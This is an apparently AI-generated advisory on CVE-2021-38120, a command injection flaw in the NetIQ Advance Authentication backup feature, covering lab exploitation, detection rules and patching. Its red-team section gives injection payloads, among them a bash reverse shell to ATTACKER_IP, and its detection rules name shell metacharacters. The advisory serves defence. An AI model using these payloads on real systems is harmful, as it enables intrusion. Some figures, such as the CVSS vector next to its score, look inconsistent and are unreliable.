CVE-2021-38120

Executive Summary

CVE-2021-38120 is a command injection vulnerability in NetIQ Advance Authentication, specifically within the administrative backup functionality. The flaw arises from improper sanitization of command parameters, allowing an authenticated administrator to inject arbitrary bash commands. With a CVSS score of 5.1, this vulnerability is considered medium severity but poses a significant risk due to the potential for full system compromise if exploited. The vendor, NetIQ, has released a patch in version 6.3.5.1. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
• Base Score: 5.1 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs administrative access to the backup functionality.
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): Low – Limited information disclosure.
• Integrity (I): Low – Limited data modification.
• Availability (A): Low – Limited service disruption.

Threat Level: Medium. While the CVSS score is moderate, the ability to execute arbitrary commands as an administrator could lead to full system compromise, making this a critical risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability resides in the backup functionality of NetIQ Advance Authentication. The administrative interface accepts user-supplied parameters for backup operations. Due to insufficient input validation and sanitization, an attacker can inject shell metacharacters (e.g., ;, |, &&) into these parameters. When the application constructs a system command to execute the backup, the injected commands are interpreted by the shell, leading to arbitrary command execution.

Root Cause: The application uses a function like exec() or Runtime.getRuntime().exec() in Java, or similar in other languages, to run a backup script. The command string is built by concatenating user input without proper escaping or validation.

Attack Vector: An authenticated administrator with access to the backup settings can craft a malicious parameter. For example, if the backup path parameter is vulnerable, an attacker could input:

/backup/path; id

This would execute the id command after the backup command.

Impact: Successful exploitation allows the attacker to execute arbitrary bash commands with the privileges of the application (typically root or a high-privilege user). This can lead to data exfiltration, installation of backdoors, or lateral movement within the network.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String backupPath = request.getParameter("backupPath");
String command = "backup_script.sh " + backupPath;
Runtime.getRuntime().exec(command);

Patched Code (Conceptual):

String backupPath = request.getParameter("backupPath");
// Validate and sanitize input
if (!backupPath.matches("[a-zA-Z0-9_/]+")) {
    throw new SecurityException("Invalid backup path");
}
List<String> command = new ArrayList<>();
command.add("backup_script.sh");
command.add(backupPath);
ProcessBuilder pb = new ProcessBuilder(command);
pb.start();

The patched version uses a list-based command execution (e.g., ProcessBuilder in Java) which avoids shell interpretation, and validates the input against a whitelist of allowed characters.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of NetIQ Advance Authentication (version < 6.3.5.1) in a controlled environment.
2. Obtain administrative credentials (e.g., admin:admin).
3. Access the backup configuration page (e.g., /admin/backup).

Exploitation Steps:

1. Intercept the backup request using a proxy like Burp Suite.
2. Modify the backupPath parameter to include a command injection payload:

   /tmp/backup; echo "pwned" > /tmp/pwned.txt
   

3. Send the request.
4. Verify execution by checking for the file /tmp/pwned.txt on the server.

Advanced Payload:

/backup; bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'

This creates a reverse shell to the attacker's machine.

Blue Team

Detection:

• Monitor for unusual command execution patterns in system logs (e.g., /var/log/auth.log, /var/log/syslog).
• Look for shell metacharacters (;, |, &&) in HTTP request parameters.
• Use file integrity monitoring to detect unexpected file creation (e.g., /tmp/pwned.txt).

Mitigation:

• Immediately upgrade to version 6.3.5.1 or later.
• If patching is not possible, restrict access to the backup functionality to trusted IPs only.
• Implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in backup parameters.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /admin/backup with parameters containing ;, |, &&, or $().
• File System: Unexpected files in /tmp/ or /var/tmp/ (e.g., pwned.txt, backdoor.sh).
• Process: Unusual processes spawned by the application user (e.g., bash, nc, python).
• Logs: Entries in application logs showing command injection attempts (e.g., backupPath=/backup;id).

Detection Engineering

YARA Rule

rule CVE_2021_38120_Command_Injection {
    meta:
        description = "Detects command injection attempts in NetIQ Advance Authentication backup requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-38120"
    strings:
        $cmd1 = /backupPath=.*[;&|`$]/
        $cmd2 = /backupPath=.*\|\|/
        $cmd3 = /backupPath=.*&&/
    condition:
        any of them
}

Sigma Rule

title: NetIQ Advance Authentication Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts in backup functionality
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'backupPath=*;'
            - 'backupPath=*|'
            - 'backupPath=*&&'
            - 'backupPath=*||'
    condition: selection
falsepositives:
    - Legitimate use of special characters in backup paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-38120 NetIQ Advance Authentication Command Injection"; flow:to_server; content:"backupPath"; http_uri; pcre:"/backupPath=[^&]*[;&|`$]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to NetIQ Advance Authentication version 6.3.5.1 or later.
2. Workaround: If patching is delayed, restrict access to the backup interface to a limited set of administrative IP addresses.
3. WAF Rules: Deploy WAF rules to block requests containing shell metacharacters in backup parameters.

Long-Term Measures:

• Implement input validation and output encoding for all user-supplied data.
• Use parameterized commands or list-based execution (e.g., ProcessBuilder) instead of shell command concatenation.
• Conduct regular security audits and penetration testing.
• Monitor for similar vulnerabilities in other administrative interfaces.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis or remediation support, contact Valters IT.